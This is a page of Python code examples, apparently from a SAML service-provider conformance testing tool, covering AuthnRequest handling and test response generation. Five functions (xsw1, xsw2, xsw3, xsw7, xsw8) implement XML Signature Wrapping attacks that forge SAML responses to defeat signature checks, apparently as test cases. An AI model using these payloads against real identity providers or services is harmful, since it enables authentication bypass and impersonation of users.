예제 #1
0
    def load(self):
        try:
            self.authn_request = get_authn_request(
                self.authn_request_url,
                verify_ssl=self.production,
                authn_plugin=self.authn_plugin,
                request_method=self.request_method,
                request_body=self.request_body,
                request_content_type=self.request_content_type,
            )
        except binascii.Error as exp:
            _msg = "Base64 decode of AuthnRequest MUST be correct"
            logger.critical(_msg + f": {exp}")
            _method = f"{self.__class__.__name__}.test_xmldsig-pre"
            self._assertTrue(False,
                             _msg,
                             test_id=["2.0.0"],
                             description=exp,
                             method=_method)
            self.is_ok(_method)
            raise exp

        try:
            self.authn_request_decoded = self.authn_request["SAMLRequest_xml"]
            self.authn_request_encoded = self.authn_request["SAMLRequest"]

        except KeyError:
            raise SAMLRequestNotFound(self.authn_request)

        self.relay_state = self.authn_request.get("RelayState") or ""

        try:
            self.md = etree.fromstring(self.metadata)
            del_ns(self.md)

            self.doc = etree.fromstring(self.authn_request_decoded)
            # clean up namespace (otherwise xpath doesn't work ...)
            del_ns(self.doc)
        except Exception as e:
            _method = f"Error parsing AuthnRequest: {self.authn_request_decoded}"
            self.handle_init_errors(method=_method,
                                    description=f"{e}",
                                    traceback=e)

        # binding detection
        self.IS_HTTP_REDIRECT = self.authn_request.get("Signature")
        # HTTP-REDIRECT params
        self.params = {"RelayState": self.relay_state}
예제 #2
0
def xsw3(xml, conf):
    tree = etree.fromstring(xml)
    del_ns(tree)

    _sign = tree.xpath('Signature')[0]
    _res = tree.xpath('/Response')[0]
    _res.remove(_sign)

    _ass = _res.xpath('Assertion')[0]

    new_ass = etree.XML(etree.tostring(_ass).decode())
    _ass_sign = new_ass.xpath('Signature')[0]
    new_ass.remove(_ass_sign)
    new_ass.attrib['ID'] = saml_rnd_id()
    tree.insert(2, new_ass)

    xml = etree.tostring(tree).decode()
    return xml
예제 #3
0
def xsw8(xml, conf):
    tree = etree.fromstring(xml)
    del_ns(tree)

    _sign = tree.xpath('Signature')[0]
    _res = tree.xpath('/Response')[0]
    _res.remove(_sign)

    _ass = _res.xpath('Assertion')[0]
    new_ass = etree.XML(etree.tostring(_ass).decode())
    _ass_sign = _ass.xpath('Signature')[0]
    new_ass.remove(new_ass.xpath('Signature')[0])

    obj = etree.XML("<Object />")
    obj.insert(0, new_ass)
    _ass_sign.append(etree.XML(etree.tostring(obj).decode()))
    xml = etree.tostring(tree).decode()
    return xml
예제 #4
0
def xsw7(xml, conf):
    tree = etree.fromstring(xml)
    del_ns(tree)

    _sign = tree.xpath('Signature')[0]
    _res = tree.xpath('/Response')[0]
    _res.remove(_sign)

    _ass = _res.xpath('Assertion')[0]

    new_ass = etree.XML(etree.tostring(_ass).decode())
    _ass_sign = new_ass.xpath('Signature')[0]
    new_ass.remove(_ass_sign)

    ext = etree.XML("<Extensions />")
    ext.insert(0, new_ass)
    tree.insert(1, ext)

    xml = etree.tostring(tree).decode()
    return xml
예제 #5
0
def xsw1(xml, conf):
    tree = etree.fromstring(xml)
    del_ns(tree)

    _sign = tree.xpath('Signature')[0]
    signature = etree.tostring(_sign).decode()
    _res = tree.xpath('/Response')[0]
    _res.remove(_sign)

    response = etree.tostring(_res).decode()
    signature = signature.replace('</Signature>', f"{response}</Signature>")

    sign_elem = etree.XML(signature)
    _res.insert(1, sign_elem)

    _as_sign = _res.xpath('Assertion')[0].xpath('Signature')[0]
    _res.xpath('Assertion')[0].remove(_as_sign)
    _res.attrib['ID'] = saml_rnd_id()

    xml = etree.tostring(_res).decode()
    return xml
예제 #6
0
def xsw2(xml, conf):
    tree = etree.fromstring(xml)
    del_ns(tree)

    _sign = tree.xpath('Signature')[0]
    _res = tree.xpath('/Response')[0]
    _res.remove(_sign)

    new_res = etree.XML(etree.tostring(_res).decode())
    tree.insert(2, new_res)
    tree.insert(3, _sign)

    evil_assertion = _res.xpath('Assertion')[0]
    evil_assertion.attrib['ID'] = saml_rnd_id()
    _as_sign = evil_assertion.xpath('Signature')[0]
    evil_assertion.remove(_as_sign)

    tree.attrib['ID'] = saml_rnd_id()
    xml = etree.tostring(tree).decode()

    return xml
예제 #7
0
    def do_authnrequest(self):
        self.authn_request_data = get_authn_request(
            self.authn_request_url,
            authn_plugin=self.authn_plugin,
            requests_session=self.requests_session,
            request_method=self.request_method,
            request_body=self.request_body,
            request_content_type=self.request_content_type,
        )
        self.authnreq_etree = etree.fromstring(
            self.authn_request_data["SAMLRequest_xml"])
        del_ns(self.authnreq_etree)

        self.issuer = self.kwargs.get("issuer", SAML2_IDP_CONFIG["entityid"])
        self.authnreq_attrs = self.authnreq_etree.xpath(
            "/AuthnRequest")[0].attrib
        self.authnreq_issuer = self.authnreq_etree.xpath(
            "/AuthnRequest/Issuer")[0].attrib["NameQualifier"]

        now = datetime.datetime.utcnow()

        self.acs_index = self.authnreq_attrs.get(
            'AttributeConsumingServiceIndex')
        self.acs_url = self.metadata_etree.xpath(
            f"//SPSSODescriptor/AssertionConsumerService[@index={self.acs_index}]"
        )[0].attrib["Location"]
        self.acr = self.get_acr()

        if self.acr in NOSESINDEX_ACRS:
            _session_index = None
        else:
            _session_index = saml_rnd_id()
        self.response_attrs = {
            "ResponseID":
            saml_rnd_id(),
            "AuthnRequestID":
            self.authnreq_attrs["ID"],
            "IssueInstant":
            self.authnreq_attrs["IssueInstant"],
            "NotOnOrAfter":
            (now +
             datetime.timedelta(minutes=5)).strftime("%Y-%m-%dT%H:%M:%SZ"),
            "AssertionConsumerURL":
            self.authnreq_attrs.get("AssertionConsumerURL", self.acs_url),
            "NameIDNameQualifier":
            settings.DEFAULT_RESPONSE["NameIDNameQualifier"],
            "NameID":
            "that-transient-opaque-value",
            "AssertionID":
            saml_rnd_id(),
            "AuthnIstant":
            datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ"),
            "SessionIndex":
            _session_index,
            "Issuer":
            self.issuer,
            "Audience":
            self.authnreq_issuer,
            "AuthnContextClassRef":
            (self.acr or settings.DEFAULT_RESPONSE["AuthnContextClassRef"]),
            "IssueInstantMillis":
            now.strftime("%Y-%m-%dT%H:%M:%S.%fZ"),
            "sign_response":
            settings.DEFAULT_RESPONSE["sign_response"],
            "sign_assertion":
            settings.DEFAULT_RESPONSE["sign_assertion"],
        }
        self.relay_state = self.kwargs.get("relay_state")